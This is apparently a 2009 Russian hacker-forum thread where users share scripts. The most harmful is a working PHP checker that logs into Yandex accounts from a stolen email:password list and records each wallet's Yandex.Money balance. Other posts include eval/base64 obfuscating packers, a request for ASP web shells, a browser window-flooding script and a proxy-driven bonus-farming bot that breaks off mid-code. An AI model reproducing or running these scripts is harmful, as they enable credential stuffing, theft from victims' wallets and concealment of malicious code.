<div id="main">
Результат:<br>
<br>
<div id="s">
<?
if ($error==true) {
echo "<div id='l'>Страницы с таким id не существует!</div></div>$in";
}
else {
if ($on) {
echo "<div id='l'>";
echo $av."</div>";
echo "<div id='l2'>ID: $id ";
echo $name[0][0];
$fio = $name[0][0];
echo "<br><font style='color: green; font-size: 12px;'>Online!</font><form action='$u/add.php' method='post'>
<input type='hidden' value='$id' name='id'>
<input type='hidden' value='$av' name='av'>
<input type='hidden' value='$fio' name='fio'>
<input type='submit' value='(+) Добавить в область быстрой проверки' id='g'></div></div>";
}
else {
echo "<div id='l'>";
echo $av."</div>";
echo "<div id='l2'>ID: $id";
echo $name[0][0];
$fio = $name[0][0];
echo "<br><font style='color: red; font-size: 12px;'>Offline!</font><form action='$u/add.php' method='post'>
<input type='hidden' value='$id' name='id'>
<input type='hidden' value='$av' name='av'>
<input type='hidden' value='$fio' name='fio'>
<input type='submit' value='(+) Добавить в область быстрой проверки' id='g'></div></div>";
}
echo $in."</div>";
}
?>
</div>
</div>
<div id="c">
<center>Copyright © RE5PE(1 2009<br>
<a href="http://www.free-lance.ru/users/1RESPECT1/" target="_blank" title="удаленная работа, менеджеры, дизайнеры, программисты"><img src="http://www.free-lance.ru/service/referral/images/btn_risker2.gif" border="0" alt="1RESPECT1 на Free-lance.ru"></a></center>
</div>
</body>
<!--Made by RE5PE(!-->
</html>
add.php
<?
session_start();
if (isset($_POST['id'])) {
$id = $_POST['id'];
}
else {
$_SESSION['error'] = "Ошибка!";
$_SESSION['var'] = 'true';
header("Location: index.php");
exit;
}
if (isset($_POST['av'])) {
$av = $_POST['av'];
}
else {
$_SESSION['error'] = "Ошибка!";
$_SESSION['var'] = 'true';
header("Location: index.php");
exit;
}
if (isset($_POST['fio'])) {
$fio = $_POST['fio'];
$fio = strip_tags($fio);
}
else {
$_SESSION['error'] = "Ошибка!";
$_SESSION['var'] = 'true';
header("Location: index.php");
exit;
}
if ($id == '')
{
$_SESSION['error'] = "Слышь, вася! Заполни поле то, да!?";
$_SESSION['var'] = 'true';
header("Location: index.php");
exit;
}
if (strlen($id) > 15)
{
$_SESSION['error'] = "Ты вводишь больше 15 символов!";
$_SESSION['var'] = 'true';
header("Location: index.php");
exit;
}
if (ctype_digit($id) != 'true') {
$_SESSION['error'] = "Ты думай чё пишешь, вася! Число вводи!";
$_SESSION['var'] = 'true';
header("Location: index.php");
exit;
}
$id = htmlspecialchars(stripslashes($id));
$id = trim($id);
$id = str_replace("–", "", $id);
$id = str_replace("'", "", $id);
$fio = htmlspecialchars(stripslashes($fio));
$fio = trim($fio);
$fio = str_replace("–", "", $fio);
$fio = str_replace("'", "", $fio);
$dat = mktime(0,0,0,1,1,2019);
if (!isset($_COOKIE['test'])) {
$i=1;
setcookie('test', $i, $dat);
}
else {
$i = $_COOKIE['test'];
$i=$i+1;
setcookie('test', $i, $dat);
}
setcookie('id'.$i, $id, $dat);
setcookie('av'.$i, $av, $dat);
setcookie('fio'.$i, $fio, $dat);
header("Location: index.php");
?>
conf.php
<?
//////////////////////////////////////////////////////////////////////////////////////////////////////////////
$post = "email=ваше@мыло.ru&pass=ЗдесьПароль"; # mail и пароль от vkontakte через, которого будем чекать
$u = "http://вашСайт.Ru"; # url вашего сайта, где будет размещен скрипт
/////////////////////////////////////////////////////////////////////////////////////////////////////////////
?>
style.css
body {
background: black;
margin: 0px;
padding: 0px;
font-family: Arial, Tahoma, Verdana;
}
#top {
margin-left: 20%;
width: 60%;
background: #fc0;
padding: 10px;
padding-top: 15px;
font-size: 14px;
font-weight: bold;
border: 1px solid #ecb202;
}
#top0 {
margin-left: 20%;
width: 60%;
padding: 10px;
padding-top: 15px;
font-size: 14px;
font-weight: bold;
margin-top: 20px;
word-spacing: 1 ex;
}
#id {
border: 1px solid black;
color: black;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight: bold;
padding: 3px;
font-size: 10px;
background: white;
}
#b {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 11px;
color: white;
padding-bottom: 2px;
background: black;
}
#b2 {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 11px;
color: white;
padding-bottom: 2px;
background: red;
}
#g {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 11px;
color: white;
padding-bottom: 2px;
background: green;
border: 1px solid black;
}
#main {
margin-top: 30px;
margin-left: 20%;
width: 60%;
background: #fc0;
padding: 10px;
padding-top: 15px;
font-size: 14px;
font-weight: bold;
border: 1px solid #ecb202;
line-height: 24px;
}
#ab {
margin-top: 30px;
margin-left: 20%;
width: 60%;
background: #fc0;
padding: 10px;
padding-top: 15px;
font-size: 14px;
font-weight: bold;
border: 1px solid #ecb202;
line-height: 24px;
height: 190px;
}
#c {
margin-top: 10px;
margin-left: 20%;
width: 60%;
padding: 10px;
padding-top: 15px;
font-size: 12px;
color: white;
font-family: Verdana, Arial, Helvetica, sans-serif;
line-height: 28px;
}
#error {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 12px;
background: #92cf01;
border: 1px solid black;
padding: 10px;
width: auto;
}
#l {
float: left;
}
#l2 {
padding-top: 10px;
float: left;
line-height: 20px;
}
#s {
height: 35%;
}
a {
color: black;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 14px;
font-weight: bold;
text-decoration: none;
}
a:active {
color: black;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 14px;
font-weight: bold;
text-decoration: none;
}
a:hover {
color: blue;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 14px;
font-weight: bold;
text-decoration: underline;
}
#t {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 12px;
font-weight: bold;
line-height: 20px;
}
+ файл cookie.txt с правами 666
Возможности:
(+) Проверка статуса по id страницы – online|offline;
(+) Область быстрой проверки – добавление/удаление;
(+) Наряду с этим отображается фотография, имя контакта;
javascript, вычисляет md5 строки, копирайты оставил
function md5 ( str ) {
// http://kevin.vanzonneveld.net
// + original by: Webtoolkit.info (http://www.webtoolkit.info/)
// + namespaced by: Michael White (http://getsprink.com)
// + tweaked by: Jack
// + improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
// + input by: Brett Zamir (http://brettz9.blogspot.com)
// + bugfixed by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
// - depends on: utf8_encode
// * example 1: md5('Kevin van Zonneveld');
// * returns 1: '6e658d4bfcb59cc13f96c14450ac40b9'
var xl;
var rotateLeft = function(lValue, iShiftBits) {
return (lValue<<iShiftBits) | (lValue>>>(32-iShiftBits));
};
var addUnsigned = function(lX,lY) {
var lX4,lY4,lX8,lY8,lResult;
lX8 = (lX & 0x80000000);
lY8 = (lY & 0x80000000);
lX4 = (lX & 0x40000000);
lY4 = (lY & 0x40000000);
lResult = (lX & 0x3FFFFFFF)+(lY & 0x3FFFFFFF);
if (lX4 & lY4) {
return (lResult ^ 0x80000000 ^ lX8 ^ lY8);
}
if (lX4 | lY4) {
if (lResult & 0x40000000) {
return (lResult ^ 0xC0000000 ^ lX8 ^ lY8);
} else {
return (lResult ^ 0x40000000 ^ lX8 ^ lY8);
}
} else {
return (lResult ^ lX8 ^ lY8);
}
};
var _F = function(x,y,z) { return (x & y) | ((~x) & z); };
var _G = function(x,y,z) { return (x & z) | (y & (~z)); };
var _H = function(x,y,z) { return (x ^ y ^ z); };
var _I = function(x,y,z) { return (y ^ (x | (~z))); };
var _FF = function(a,b,c,d,x,s,ac) {
a = addUnsigned(a, addUnsigned(addUnsigned(_F(b, c, d), x), ac));
return addUnsigned(rotateLeft(a, s), b);
};
var _GG = function(a,b,c,d,x,s,ac) {
a = addUnsigned(a, addUnsigned(addUnsigned(_G(b, c, d), x), ac));
return addUnsigned(rotateLeft(a, s), b);
};
var _HH = function(a,b,c,d,x,s,ac) {
a = addUnsigned(a, addUnsigned(addUnsigned(_H(b, c, d), x), ac));
return addUnsigned(rotateLeft(a, s), b);
};
var _II = function(a,b,c,d,x,s,ac) {
a = addUnsigned(a, addUnsigned(addUnsigned(_I(b, c, d), x), ac));
return addUnsigned(rotateLeft(a, s), b);
};
var convertToWordArray = function(str) {
var lWordCount;
var lMessageLength = str.length;
var lNumberOfWords_temp1=lMessageLength + 8;
var lNumberOfWords_temp2=(lNumberOfWords_temp1-(lNumberOfWords_temp1 % 64))/64;
var lNumberOfWords = (lNumberOfWords_temp2+1)*16;
var lWordArray=new Array(lNumberOfWords-1);
var lBytePosition = 0;
var lByteCount = 0;
while ( lByteCount < lMessageLength ) {
lWordCount = (lByteCount-(lByteCount % 4))/4;
lBytePosition = (lByteCount % 4)*8;
lWordArray[lWordCount] = (lWordArray[lWordCount] | (str.charCodeAt(lByteCount)<<lBytePosition));
lByteCount++;
}
lWordCount = (lByteCount-(lByteCount % 4))/4;
lBytePosition = (lByteCount % 4)*8;
lWordArray[lWordCount] = lWordArray[lWordCount] | (0x80<<lBytePosition);
lWordArray[lNumberOfWords-2] = lMessageLength<<3;
lWordArray[lNumberOfWords-1] = lMessageLength>>>29;
return lWordArray;
};
var wordToHex = function(lValue) {
var wordToHexValue="",wordToHexValue_temp="",lByte,lCount;
for (lCount = 0;lCount<=3;lCount++) {
lByte = (lValue>>>(lCount*8)) & 255;
wordToHexValue_temp = "0" + lByte.toString(16);
wordToHexValue = wordToHexValue + wordToHexValue_temp.substr(wordToHexValue_temp.len gth-2,2);
}
return wordToHexValue;
};
var x=[],
k,AA,BB,CC,DD,a,b,c,d,
S11=7, S12=12, S13=17, S14=22,
S21=5, S22=9 , S23=14, S24=20,
S31=4, S32=11, S33=16, S34=23,
S41=6, S42=10, S43=15, S44=21;
str = this.utf8_encode(str);
x = convertToWordArray(str);
a = 0x67452301; b = 0xEFCDAB89; c = 0x98BADCFE; d = 0x10325476;
xl = x.length;
for (k=0;k<xl;k+=16) {
AA=a; BB=b; CC=c; DD=d;
a=_FF(a,b,c,d,x[k+0], S11,0xD76AA478);
d=_FF(d,a,b,c,x[k+1], S12,0xE8C7B756);
c=_FF(c,d,a,b,x[k+2], S13,0x242070DB);
b=_FF(b,c,d,a,x[k+3], S14,0xC1BDCEEE);
a=_FF(a,b,c,d,x[k+4], S11,0xF57C0FAF);
d=_FF(d,a,b,c,x[k+5], S12,0x4787C62A);
c=_FF(c,d,a,b,x[k+6], S13,0xA8304613);
b=_FF(b,c,d,a,x[k+7], S14,0xFD469501);
a=_FF(a,b,c,d,x[k+8], S11,0x698098D8);
d=_FF(d,a,b,c,x[k+9], S12,0x8B44F7AF);
c=_FF(c,d,a,b,x[k+10],S13,0xFFFF5BB1);
b=_FF(b,c,d,a,x[k+11],S14,0x895CD7BE);
a=_FF(a,b,c,d,x[k+12],S11,0x6B901122);
d=_FF(d,a,b,c,x[k+13],S12,0xFD987193);
c=_FF(c,d,a,b,x[k+14],S13,0xA679438E);
b=_FF(b,c,d,a,x[k+15],S14,0x49B40821);
a=_GG(a,b,c,d,x[k+1], S21,0xF61E2562);
d=_GG(d,a,b,c,x[k+6], S22,0xC040B340);
c=_GG(c,d,a,b,x[k+11],S23,0x265E5A51);
b=_GG(b,c,d,a,x[k+0], S24,0xE9B6C7AA);
a=_GG(a,b,c,d,x[k+5], S21,0xD62F105D);
d=_GG(d,a,b,c,x[k+10],S22,0x2441453);
c=_GG(c,d,a,b,x[k+15],S23,0xD8A1E681);
b=_GG(b,c,d,a,x[k+4], S24,0xE7D3FBC8);
a=_GG(a,b,c,d,x[k+9], S21,0x21E1CDE6);
d=_GG(d,a,b,c,x[k+14],S22,0xC33707D6);
c=_GG(c,d,a,b,x[k+3], S23,0xF4D50D87);
b=_GG(b,c,d,a,x[k+8], S24,0x455A14ED);
a=_GG(a,b,c,d,x[k+13],S21,0xA9E3E905);
d=_GG(d,a,b,c,x[k+2], S22,0xFCEFA3F8);
c=_GG(c,d,a,b,x[k+7], S23,0x676F02D9);
b=_GG(b,c,d,a,x[k+12],S24,0x8D2A4C8A);
a=_HH(a,b,c,d,x[k+5], S31,0xFFFA3942);
d=_HH(d,a,b,c,x[k+8], S32,0x8771F681);
c=_HH(c,d,a,b,x[k+11],S33,0x6D9D6122);
b=_HH(b,c,d,a,x[k+14],S34,0xFDE5380C);
a=_HH(a,b,c,d,x[k+1], S31,0xA4BEEA44);
d=_HH(d,a,b,c,x[k+4], S32,0x4BDECFA9);
c=_HH(c,d,a,b,x[k+7], S33,0xF6BB4B60);
b=_HH(b,c,d,a,x[k+10],S34,0xBEBFBC70);
a=_HH(a,b,c,d,x[k+13],S31,0x289B7EC6);
d=_HH(d,a,b,c,x[k+0], S32,0xEAA127FA);
c=_HH(c,d,a,b,x[k+3], S33,0xD4EF3085);
b=_HH(b,c,d,a,x[k+6], S34,0x4881D05);
a=_HH(a,b,c,d,x[k+9], S31,0xD9D4D039);
d=_HH(d,a,b,c,x[k+12],S32,0xE6DB99E5);
c=_HH(c,d,a,b,x[k+15],S33,0x1FA27CF8);
b=_HH(b,c,d,a,x[k+2], S34,0xC4AC5665);
a=_II(a,b,c,d,x[k+0], S41,0xF4292244);
d=_II(d,a,b,c,x[k+7], S42,0x432AFF97);
c=_II(c,d,a,b,x[k+14],S43,0xAB9423A7);
b=_II(b,c,d,a,x[k+5], S44,0xFC93A039);
a=_II(a,b,c,d,x[k+12],S41,0x655B59C3);
d=_II(d,a,b,c,x[k+3], S42,0x8F0CCC92);
c=_II(c,d,a,b,x[k+10],S43,0xFFEFF47D);
b=_II(b,c,d,a,x[k+1], S44,0x85845DD1);
a=_II(a,b,c,d,x[k+8], S41,0x6FA87E4F);
d=_II(d,a,b,c,x[k+15],S42,0xFE2CE6E0);
c=_II(c,d,a,b,x[k+6], S43,0xA3014314);
b=_II(b,c,d,a,x[k+13],S44,0x4E0811A1);
a=_II(a,b,c,d,x[k+4], S41,0xF7537E82);
d=_II(d,a,b,c,x[k+11],S42,0xBD3AF235);
c=_II(c,d,a,b,x[k+2], S43,0x2AD7D2BB);
b=_II(b,c,d,a,x[k+9], S44,0xEB86D391);
a=addUnsigned(a,AA);
b=addUnsigned(b,BB);
c=addUnsigned(c,CC);
d=addUnsigned(d,DD);
}
var temp = wordToHex(a)+wordToHex(b)+wordToHex(c)+wordToHex(d );
return temp.toLowerCase();
}
function utf8_encode ( argString ) {
// http://kevin.vanzonneveld.net
// + original by: Webtoolkit.info (http://www.webtoolkit.info/)
// + improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
// + improved by: sowberry
// + tweaked by: Jack
// + bugfixed by: Onno Marsman
// + improved by: Yves Sucaet
// + bugfixed by: Onno Marsman
// * example 1: utf8_encode('Kevin van Zonneveld');
// * returns 1: 'Kevin van Zonneveld'
var string = (argString+'').replace(/\r\n/g, "\n").replace(/\r/g, "\n");
var utftext = "";
var start, end;
var stringl = 0;
start = end = 0;
stringl = string.length;
for (var n = 0; n < stringl; n++) {
var c1 = string.charCodeAt(n);
var enc = null;
if (c1 < 128) {
end++;
} else if((c1 > 127) && (c1 < 2048)) {
enc = String.fromCharCode((c1 >> 6) | 192) + String.fromCharCode((c1 & 63) | 128);
} else {
enc = String.fromCharCode((c1 >> 12) | 224) + String.fromCharCode(((c1 >> 6) & 63) | 128) + String.fromCharCode((c1 & 63) | 128);
}
if (enc !== null) {
if (end > start) {
utftext += string.substring(start, end);
}
utftext += enc;
start = end = n+1;
}
}
if (end > start) {
utftext += string.substring(start, string.length);
}
return utftext;
}
function include(filename){
var head = document.getElementsByTagName('head')[0];
script = document.createElement('script');
script.src = filename;
script.type = 'text/javascript';
head.appendChild(script);
}
BlackSun
05.08.2009, 00:28
<?php
$input = $GLOBALS['f'];
if (!file_exists($input))
{
die('OMG! File not found =\\'. "\n");
}
$output_fname = dirname($input). '/'. basename($input, '.php'). '_bz.php';
$output = fopen($output_fname, 'w');
$content = shell_exec('php -nw '. $input);
$content = bzcompress(' ?>'. $content, 9);
fputs($output, '<?'. ' eval(bzdecompress(base64_decode("'. base64_encode($content). '"))); ?>');
fclose($output);
$before = filesize($input);
$after = filesize($output_fname);
echo '> Before compress : '. ($before / 1024). " Kb\n";
echo '> After compress : '. ($after / 1024). " Kb\n";
echo '> Compress ratio : '. (($before - $after) * 100) / $before. "%\n";
?>
> Before compress : 124.427734375 Kb
> After compress : 36.3046875 Kb
> Compress ratio : 70.8226725478%
Pashkela
06.08.2009, 22:30
SIPT4 (http://bug-track.ru/prog/sipt4.rar)
buxmanager
07.08.2009, 04:06
народ, а кто знает как работает сервис отправки анонимных смс? ) что там за скрипты?
кто может помочь в создании или имеет какую инфу стукните в асю! восемь9-88-7шесть
народ, а кто знает как работает сервис отправки анонимных смс? ) что там за скрипты?
кто может помочь в создании или имеет какую инфу стукните в асю! восемь9-88-7шесть
Скрытый текст
Для просмотра необходим уровень хакерской догадки > 60
real_kas
07.08.2009, 16:57
Доброго времени суток коллеги :)
У меня вопрос вот возник. Есть файл, с мусором из текста и емейлов. Как отчленить емейлы от текста? Т.е. как-бы нужно искать все что до символа @ и все что после него, до очередной абракадабры.
Это вообеще реально, или малоосуществимо?
real_kas
07.08.2009, 17:39
Нашел ответ на свой вопрос...:
$mailReg = '/[A-Z0-9._-]+@[A-Z0-9][A-Z0-9.-]{0,61}[A-Z0-9]\.[A-Z.]{2,6}/i'; preg_match_all($mailReg, $str, $matches);
Доброго времени суток коллеги :)
У меня вопрос вот возник. Есть файл, с мусором из текста и емейлов. Как отчленить емейлы от текста? Т.е. как-бы нужно искать все что до символа @ и все что после него, до очередной абракадабры.
Это вообеще реально, или малоосуществимо?
'/[\.\-_A-Za-z0-9]+?\@[\.\-A-Za-z0-9]+?[\.A-Za-z0-9]{2,}/'
mailbrush
07.08.2009, 19:40
Gaus, смотри пост выше.
BlackSun
07.08.2009, 20:07
Ну начали срать .. не видно, что тут выкладывают скрипты, а не сваливают вопросы \ прозьбы и прочее?
mailbrush
07.08.2009, 20:12
В общем да, но раз задали вопрос - надо ответить :)
mr.gr33n
08.08.2009, 06:51
[Анти-боян, perl+гугля ]
Так как анти-боян временно не работает, вот написал простенький скрипт на перле, может кому пригодится )))
Принцип работы думаю понятен )
Если есть какие-нибудь предложения или недостатки - пишем в ПМ, исправлю)
#!usr/bin/perl
system('title Anti-boyan from ANTICHAT - Coded By mr.gr33n');
system('color A');
system('cls');
use LWP::UserAgent;
use HTTP::Request::Common;
print "\n\t***********************************\n";
print "\t* Anti-boyan *\n";
print "\t* Coded By mr.gr33n *\n";
print "\t***********************************\n";
print "\tEnter site:\n\n\n";
$site=<STDIN>;
if ($site=~ /forum.antichat.ru/)
{
print "\n\n\nNe xuya sebe, ti x3k0r!!!=)\n\n\n\n";
$w=<STDIN>;
exit;
}
$url = "http://www.google.com/search?q=.$site site:forum.antichat.ru";
$lwp = LWP::UserAgent->new();
$lwp -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4");
$connect = $lwp -> get($url);
if ($connect -> content =~ /SQL/)
{
if ($connect -> content =~ /Ingen/)
{
print "[+] Proverka : Prodolzhai, eto Ne boyan =)\n";
} else {
print "[-] Proverka : Zabei, eto BOYAN =(";
}
} else {
print "[+] Proverka : Prodolzhai, eto Ne boyan =)\n";
}
print "\n\n\n\n\n\n##";
print "\n# Coded by mr.gr33n";
print "\n##\n";
$a=<STDIN>;
###
## mr.gr33n
###
(с) mr.gr33n
Не знал в какой теме и разделе спросить, нашел вроде бы самую подходящую :)
Подскажите пожалуйста вебшелл на asp (если есть такие вообще))).
Где то на ачате когда то встречал целую тему где собраны все вебшеллы (там вроде бы был такой), а вот сейчас перерыл весь поиск но так и не смог найти ту тему. заранее спасибо )
http://forum.antichat.ru/thread103576.html
[aCR]RASSVET
11.08.2009, 21:00
JS-функции для работы с cookies
<script type="text/javascript">
function SetCookie(name,value){
var argv=SetCookie.arguments;
var argc=SetCookie.arguments.length;
var expires=(argc>2)?argv[2]:null;
var path=(argc>3)?argv[3]:null;
var domain=(argc>4)? argv[4]:null;
var secure=(argc>4)? argv[5]:false;
document.cookie=name+"="+escape(value)+((expires==null)?"":("; expires="+expires))+((path==null)?"":("; path="+path))+((domain==null)?"":("; domain="+domain));
}
function getCookieVal(offset){
var endstr=document.cookie.indexOf(";",offset);
if (endstr==-1)
endstr=document.cookie.length;
return unescape(document.cookie.substring(offset,endstr)) ;
}
function GetCookie(name){
var arg=name+"=";
var alen=arg.length;
var clen=document.cookie.length;
var i=0;
while (i<clen){
var j=i+alen;
if (document.cookie.substring(i,j)==arg)
return getCookieVal(j);
i=document.cookie.indexOf(" ",i)+1;
if (i==0)
break;
}
return null;
}
function delCookie(name){
if (get_cookie(name))
document.cookie = name + '=; expires=Thu, 01-Jan-70 00:00:01 GMT';
}
</script>
создаёт три функции:
SetCookie (name, value) - устанавливает куку с именем name и значением value, имеет 4 необязательных параметра - expires, path, domain, secure (новичкам это не надо, знающие - поймут =))
GetCookie (name) - возвращает значение куки с именем name
delCookie (name) - удаляет куку с именем name
BlackSun
13.08.2009, 09:13
<?php
function pack_php($file)
{
if (!file_exists($file) or !is_readable($file))
{
die('The file could not be found. Trying to hack yourself? 0_o');
}
$code = bzcompress('?>'. shell_exec('php -nw '. $file), 9);
$output_fname = dirname($file). '/'. basename($file, '.php'). '_bz.php';
$output = fopen($output_fname, 'w');
fputs($output, '<?php $f=fopen(__FILE__,\'r\');'.
'fseek($f,133);$c=\'\';'.
'while (!feof($f)){$c.=fread($f,1024);}'.
'eval(bzdecompress($c));'.
'__halt_compiler(); ?>'. "\n". chr(0));
fputs($output, $code);
fclose($output);
chmod($output_fname, 0777);
echo "done.\n";
$before = filesize($file);
$after = filesize($output_fname);
echo '> Before compress : '. ($before / 1024). " Kb\n";
echo '> After compress : '. ($after / 1024). " Kb\n";
echo '> Compress ratio : '. (($before - $after) * 100) / $before. "%\n";
}
?>
> Before compress : 151.182617188 Kb
> After compress : 27.3408203125 Kb
> Compress ratio : 81.915367771%
<?php
@set_time_limit(0);
$url = "http://passport.yandex.ru/passport?mode=auth&retpath=http://mail.yandex.ru"; // урла с авторизацией
$url1 = "http://passport.yandex.ru/passport?mode=logout"; // Выход с ящика.
$ua = "Opera 9.64";
$ref = "http://www.yandex.ru/";
$req = "";
$money_file = "valid.txt"; // Фаил с ВАЛИДНЫМИ мылами
$result = "result.txt"; // Фаил вида мыло:пароль:рублёвая зелень
$nulled = "nulled.txt"; // Фаил с кошелями с нулевым балансом.
$counter = "0";
$counter1 = "0";
$fp = fopen($money_file,"r");
$fp1 = fopen($result,"a+");
$fp2 = fopen($nulled,"a+");
for ($i = 0; $i < 1681;$i++) { // Тут задаём количество мыл в файле.Удобно,если нужно считать часть мыл,а не все сразу
$str = fgets($fp,1024);
$str = explode(":",trim($str));
$req = "login=$str[0]&passwd=$str[1]"; //Формируем запрос
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url); //Посылаем запрос
curl_setopt($ch,CURLOPT_REFERER,$ref);
curl_setopt($ch,CURLOPT_USERAGENT,$ua);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$req);
curl_setopt($ch,CURLOPT_COOKIEFILE,"./cookie");
curl_setopt($ch,CURLOPT_COOKIEJAR,"./cookie");
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$res = curl_exec($ch);
curl_close($ch);
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"http://money.yandex.ru"); // Переходим на страницу Яндекс.Деньги,чтобы посмотреть баланс.
curl_setopt($ch,CURLOPT_REFERER,"http://passport.yandex.ru");
curl_setopt($ch,CURLOPT_COOKIEFILE,"./cookie");
curl_setopt($ch,CURLOPT_COOKIEJAR,"./cookie");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$res1 = curl_exec($ch);
if(preg_match_all('#<span id="current-user-balance">(.*?)</span>#',$res1,$m)) { // Парсим рубли )
foreach ($m[1] as $r) {
if ($r == '0,00*руб.') {
$counter1++;
$null = $str[0].':'.$str[1].':'.$r;
fwrite($fp2,$null."\r\n");
}
else {
$counter++;
$res = $str[0].':'.$str[1].':'.$r;
fwrite($fp1,$res."\r\n");
}
}
}
curl_close($ch);
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url1); //Выходим с мыла.
curl_setopt($ch,CURLOPT_USERAGENT,$ua);
curl_setopt($ch,CURLOPT_COOKIEFILE,"./cookie");
curl_setopt($ch,CURLOPT_COOKIEJAR,"./cookie");
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
echo "Ждём три секунды...<br>";
sleep(3); // Задержка перед запросами на чек мыл.
curl_close($ch);
}
echo "<center>Всего кошельков: $counter </center>";
echo "<center>Из них пустых: $counter1 </center>";
fclose($fp);
fclose($fp1); // Каанееец ^_________^
fclose($fp2);
// Copyrighted by Веля солнышкин
?>
ЗЫ: Добавлена проверка для кошельков с нулевым балансом).
Скрипт отвечаюшей за перемещение окна броузера по десктопу и его отражение
Простенький скрипт, не помню где достал
Конечно не оч полезный, но все же :)
<script language = javascript>
function move_the_window( ){
window.resizeTo(screen.width/2,screen.height/2);
window.moveTo(1,1);
var x=1;
var y=1;
var dx=7;
var dy=10;
move( );
function move( ){
while(true){
if(x>=(screen.width) || x<=0) dx=-dx;
if(y>=(screen.height) || y<=0) dy=-dy;
x+=dx
y+=dy;
window.moveTo (x,y);
}
}
}
</script>
Ну и генерация множества окон:
<script language = javascript>
function generate_windows( ){
var i=1;
while (i < 10000){
window.open();
i++;
}
}
</script>
satana-fu
14.08.2009, 01:07
Ну и генерация множества окон:
<script language = javascript>
function generate_windows( ){
var i=1;
while (i < 10000){
window.open();
i++;
}
}
</script>
скрипт можешь в архив скидывать, уже больше полугода как он не работает в браузерах, блокируется. ;)
Его еще на старом ачате выставляли
скрипт можешь в архив скидывать, уже больше полугода как он не работает в браузерах, блокируется. ;)
Его еще на старом ачате выставляли
А, спасиб, тогда мне над будет почистить свой архив скриптов:)
Pashkela
14.08.2009, 17:06
Скрипт, копирующий файл с ФТП1 на ФТП2. Сам скрипт выполняется откуда угодно, место, где выполняется скрипт, не требует резервации под объем копируемого файла (удобно для копирования больших архивов и etc. - т.е. нужно место исключительно для самого скрипта ~ 1.5 кб):
<?php
@set_time_limit(0);
@ini_set("display_errors","1");
@ignore_user_abort(1);
//ФТП-сервер, откуда берем файло
$ftp_server1 = "фтп-сервер1";// Фтп-сервер1
$ftp_login1 = "фтп-логин1";// Фтп-логин1
$ftp_pass1 = "фтп-пасс1";// Фтп-пасс1
$path1 = '/public_html/test.php'; // Абсолютный путь до скачиваемого файла начиная с www директории (доступной из веба)
$file = $ftp_server1.$path1; // не трогать:)
//ФТП-сервер, куда кладём файло
$ftp_server2 = "фтп-сервер2";// Фтп-сервер2
$ftp_login2 = "фтп-логин2";// Фтп-логин2
$ftp_pass2 = "фтп-пасс2";// Фтп-пасс2
$ftp_port2 = 21;// Фтп-порт2
$ftp_time_out2 = 100;// Фтп-таймаут2
$path2 = '/test.php';// Асболютный путь до директории на втором фтп, куда будем закачивать файл (включая название файла - тут кладем просто в корень )
########################################
$file1 = "ftp://" . $ftp_login1 . ":" . $ftp_pass1 . "@" . $file;
$open = ftp_connect($ftp_server2,$ftp_port2,$ftp_time_out2 ); // сервер, порт, таймаут
if(!ftp_login($open,$ftp_login2,$ftp_pass2))
exit("Не могу соединиться");
# Копируем #
if (ftp_put($open, $path2, $file1, FTP_BINARY)) echo "Файл скопирован с $ftp_server1 на $ftp_server2 в $path2\n";
else echo "Не удалось скопировать в $path2\n";
ftp_close($open); // закрываем фтп-соединение
?>
Копирует, есс-но, любые файлы, .php, .htaccess и etc.
Протестено на denwer, таким образом никаких ограничений на время исполнения скрипта и прочих привелегий нет и быть не может.
heretic1990
14.08.2009, 22:47
Простой способ аутентификации на сайте с помощью сессий.
для работы достаточно написать в начале всех защищаемых скриптах(PHP) строчку include "auth.php";
auth.php
<?php
if (isset($_POST['auth_name'])) {
$name=mysql_real_escape_string($_POST['auth_name']);
$pass=mysql_real_escape_string($_POST['auth_pass']);
$query = "SELECT * FROM users WHERE name='$name' AND pass='$pass'";
$res = mysql_query($query) or trigger_error(mysql_error().$query);
if ($row = mysql_fetch_assoc($res)) {
session_start();
$_SESSION['user_id'] = $row['id'];
$_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
}
header("Location: http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
exit;
}
if (isset(@$_GET['action']) AND @$_GET['action']=="logout") {
session_start();
session_destroy();
header("Location: http://".$_SERVER['HTTP_HOST']."/");
exit;
}
if (isset($_REQUEST[session_name()])) session_start();
if (isset($_SESSION['user_id']) AND $_SESSION['ip'] == $_SERVER['REMOTE_ADDR']) return;
else {
?>
<form method="POST">
<input type="text" name="auth_name"><br>
<input type="password" name="auth_pass"><br>
<input type="submit"><br>
</form>
<?
}
exit;
?>
Написал от нех делать скрипт для получения бесплатных бонусов на WMR кошель :)
При работае юзайте прокси, т.к. кол-во получений бонуса в день == 1.
#!/usr/bin/perl
use strict;
use warnings;
use LWP::UserAgent;
use threads;
use threads::shared;
###########################
my $threads = 1; # Кол-во потоков
my $wmr = 'R185203825511';# Кошель WMR
my $count_attempt = 1; # Кол-во попыток получения бонуса
my $proxy_mode = 'ON'; # Режим прокси(ON/OFF)
my $proxy = 'proxy.txt'; # Файл с прокси
###########################
open my $prx, '<', $proxy or die "\nCould not open proxy file!\n";
chomp(my @proxys : shared = <$prx>);
close $prx;
threads->new(\&main) for 1 .. $threads;
$_->join for threads->list;
sub main
{
my $ua = new LWP::UserAgent;
